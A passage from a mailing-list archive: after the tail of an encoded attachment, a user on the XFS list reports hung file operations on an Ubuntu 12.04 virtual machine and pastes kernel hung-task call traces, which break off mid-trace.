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 ------=_001_NextPart228255534805_=------ From info@1st-setup.nl Mon Mar 24 04:25:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8CF017F4E for ; Mon, 24 Mar 2014 04:25:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 876C1AC002 for ; Mon, 24 Mar 2014 02:25:19 -0700 (PDT) X-ASG-Debug-ID: 1395653109-04cb6c5676837ea0001-NocioJ Received: from smtp2.ispfabriek.nl (smtp2.ispfabriek.nl [37.251.0.169]) by cuda.sgi.com with ESMTP id 7ORQlNXYMF6eYPjW for ; Mon, 24 Mar 2014 02:25:09 -0700 (PDT) X-Barracuda-Envelope-From: info@1st-setup.nl X-Barracuda-Apparent-Source-IP: 37.251.0.169 Received: from localhost (unknown [10.3.1.68]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id 1510E13EDA5 for ; Mon, 24 Mar 2014 09:25:09 +0000 (UTC) X-Virus-Scanned: amavisd-new at ispfabriek.nl Received: from smtp2.ispfabriek.nl ([10.3.1.141]) by localhost (mailscan2.ispfabriek.nl [10.3.1.68]) (amavisd-new, port 10026) with ESMTP id Cc-iuX5tPjpl for ; Mon, 24 Mar 2014 10:24:50 +0100 (CET) Received: from mailserver.verbraak.thuis (188-142-103-130.FTTH.ispfabriek.nl [188.142.103.130]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id 853BA13EE48 for ; Mon, 24 Mar 2014 10:24:50 +0100 (CET) Received: from [10.242.43.6] ([10.242.43.6]) by mailserver.verbraak.thuis (8.14.7/8.14.5) with ESMTP id s2OAOwmx004929 for ; Mon, 24 Mar 2014 11:24:58 +0100 Message-ID: <532FF9DD.5080700@1st-setup.nl> Date: Mon, 24 Mar 2014 10:24:45 +0100 From: "Michel Verbraak(1st-Setup)" User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: xfs blocks (blocked for more than 120 seconds) Content-Type: multipart/alternative; boundary="------------020709070101020901020602" X-ASG-Orig-Subj: xfs blocks (blocked for more than 120 seconds) X-Barracuda-Connect: smtp2.ispfabriek.nl[37.251.0.169] X-Barracuda-Start-Time: 1395653109 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, WEIRD_PORT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4202 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 WEIRD_PORT URI: Uses non-standard port number for HTTP 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --------------020709070101020901020602 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi, We have a problem with one of our systems which is using XFS but we are unable to find the problem. Recently we had two moments, Tuesday 4th of March and Friday the 21st of March, where we had to reboot the system to get it up and running again. What happens: - The programs handling files on the XFS disc stop working when creating, deleting or writing files. They do not error they are just waiting on the command to complete. - One of our programs, a java application, goes into very high cpu usage (50%) which normally is at 1%. This could be something in our java application but it happens at the moment handling files gets stuck. - A nice restart of the programs does not succeed as wel a kill -9 does not work. - Trying to reboot the servers in a normal fashion does not work. As it is a virtual machine we have to do a shutdown (unplug power) and start it up again to get it up and running. Following details I have for you: System OS: Ubuntu 12.04 LTS Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux Server: Virtual machine in a VMWare setup. Disc: 300GB direct attached LUN We have an exact clone of this system for our acceptance environment. In this environment we are unable to reproduce this problem/situation. Differences between the two days is that our services on 2014-03-21 were quit busy with a lot of file changes on the xfs disc and on 2014-03-04 the system was very quiet on the moment the kernel traces appear and the services get stuck. Any help is appreciated. Regards Michel Verbraak. Following we see in the syslog on both moments (2014-03-04 and 2014-03-21): Mar 21 06:32:20 ealxs00169 kernel: [1412280.930340] INFO: task flush-8:16:13864 blocked for more than 120 seconds. Mar 21 06:32:20 ealxs00169 kernel: [1412280.930462] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16 D 0000000000000000 0 13864 2 0x00000000 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930549] ffff88000676f880 0000000000000046 0000000001000000 2500000000000000 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930557] ffff88000676ffd8 ffff88000676ffd8 ffff88000676ffd8 00000000000137c0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930560] ffff880002218000 ffff88001b5d4500 ffff88000676f850 ffff88001fc14080 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930564] Call Trace: Mar 21 06:32:20 ealxs00169 kernel: [1412280.930584] [] ? __lock_page+0x70/0x70 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930602] [] schedule+0x3f/0x60 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930605] [] io_schedule+0x8f/0xd0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930608] [] sleep_on_page+0xe/0x20 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930617] [] __wait_on_bit_lock+0x5a/0xc0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930620] [] __lock_page+0x67/0x70 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930626] [] ? autoremove_wake_function+0x40/0x40 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930634] [] write_cache_pages+0x3d4/0x460 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930638] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930641] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930644] [] generic_writepages+0x4a/0x70 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930701] [] xfs_vm_writepages+0x4d/0x60 [xfs] Mar 21 06:32:20 ealxs00169 kernel: [1412280.930708] [] do_writepages+0x21/0x40 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930719] [] writeback_single_inode+0x180/0x430 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930722] [] writeback_sb_inodes+0x1b6/0x270 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930725] [] __writeback_inodes_wb+0x9e/0xd0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930728] [] wb_writeback+0x27b/0x330 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930739] [] ? __switch_to+0xf5/0x360 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930744] [] ? get_nr_dirty_inodes+0x52/0x80 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930747] [] wb_check_old_data_flush+0x9f/0xb0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930751] [] wb_do_writeback+0x151/0x1d0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930757] [] ? usleep_range+0x50/0x50 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930762] [] bdi_writeback_thread+0x83/0x2a0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930765] [] ? wb_do_writeback+0x1d0/0x1d0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930768] [] kthread+0x8c/0xa0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930775] [] kernel_thread_helper+0x4/0x10 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930778] [] ? flush_kthread_worker+0xa0/0xa0 Mar 21 06:32:20 ealxs00169 kernel: [1412280.930781] [] ? gs_change+0x13/0x13 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891012] INFO: task archiver.pl:4005 blocked for more than 120 seconds. Mar 21 06:34:20 ealxs00169 kernel: [1412400.891118] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl D 0000000000000000 0 4005 4004 0x00000000 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891186] ffff88001bb41718 0000000000000086 ffffffff8142bff0 0000000000000002 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891189] ffff88001bb41fd8 ffff88001bb41fd8 ffff88001bb41fd8 00000000000137c0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891192] ffff88001bad8000 ffff88000602dc00 ffff88001bb41798 7fffffffffffffff Mar 21 06:34:20 ealxs00169 kernel: [1412400.891195] Call Trace: Mar 21 06:34:20 ealxs00169 kernel: [1412400.891223] [] ? scsi_mode_select+0x200/0x200 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891227] [] schedule+0x3f/0x60 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891229] [] schedule_timeout+0x2a5/0x320 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891234] [] __down_common+0xa5/0xf5 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891291] [] ? _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891294] [] __down+0x1d/0x1f Mar 21 06:34:20 ealxs00169 kernel: [1412400.891301] [] down+0x41/0x50 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891314] [] xfs_buf_lock+0x44/0x110 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891324] [] _xfs_buf_find+0xd5/0x240 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891335] [] xfs_buf_get+0x34/0x1c0 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891345] [] xfs_buf_read+0x2d/0x120 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891373] [] xfs_trans_read_buf+0x2bf/0x470 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891386] [] xfs_read_agf+0x65/0x1a0 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891399] [] xfs_alloc_read_agf+0x32/0x60 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891411] [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891418] [] ? kfree+0x3b/0x140 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891421] [] ? kmem_cache_free+0x2f/0x110 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891432] [] ? radix_tree_lookup+0xb/0x10 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891447] [] ? xfs_perag_get+0x38/0xd0 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891460] [] ? xfs_free_extent+0x91/0x120 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891473] [] xfs_free_extent+0xa2/0x120 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891486] [] xfs_bmap_finish+0x164/0x1b0 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891501] [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891516] [] xfs_itruncate_data+0x66/0x150 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891529] [] xfs_inactive+0x2fe/0x460 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891532] [] ? _raw_spin_lock_irq+0x15/0x20 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891543] [] xfs_fs_evict_inode+0xad/0x110 [xfs] Mar 21 06:34:20 ealxs00169 kernel: [1412400.891547] [] evict+0xb8/0x1c0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891550] [] iput_final+0xe8/0x210 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891552] [] iput+0x3e/0x50 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891555] [] do_unlinkat+0x153/0x1d0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891561] [] ? vfs_read+0x10d/0x180 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891564] [] sys_unlink+0x16/0x20 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891568] [] system_call_fastpath+0x16/0x1b Mar 21 06:34:20 ealxs00169 kernel: [1412400.891571] INFO: task flush-8:16:13864 blocked for more than 120 seconds. Mar 21 06:34:20 ealxs00169 kernel: [1412400.891626] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. Mar 21 06:34:20 ealxs00169 kernel: [1412400.891686] flush-8:16 D 0000000000000000 0 13864 2 0x00000000 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891689] ffff88000676f880 0000000000000046 0000000001000000 2500000000000000 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891692] ffff88000676ffd8 ffff88000676ffd8 ffff88000676ffd8 00000000000137c0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891694] ffff880002218000 ffff88001b5d4500 ffff88000676f850 ffff88001fc14080 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891697] Call Trace: Mar 21 06:34:20 ealxs00169 kernel: [1412400.891702] [] ? __lock_page+0x70/0x70 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891704] [] schedule+0x3f/0x60 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891710] [] io_schedule+0x8f/0xd0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891712] [] sleep_on_page+0xe/0x20 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891714] [] __wait_on_bit_lock+0x5a/0xc0 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891717] [] __lock_page+0x67/0x70 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891720] [] ? autoremove_wake_function+0x40/0x40 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891725] [] write_cache_pages+0x3d4/0x460 Mar 21 06:34:20 ealxs00169 kernel: [1412400.891727] [] ? set_page_dirty_lock+0x60/0x60 Mar 21 06:34:20 ealxs00169 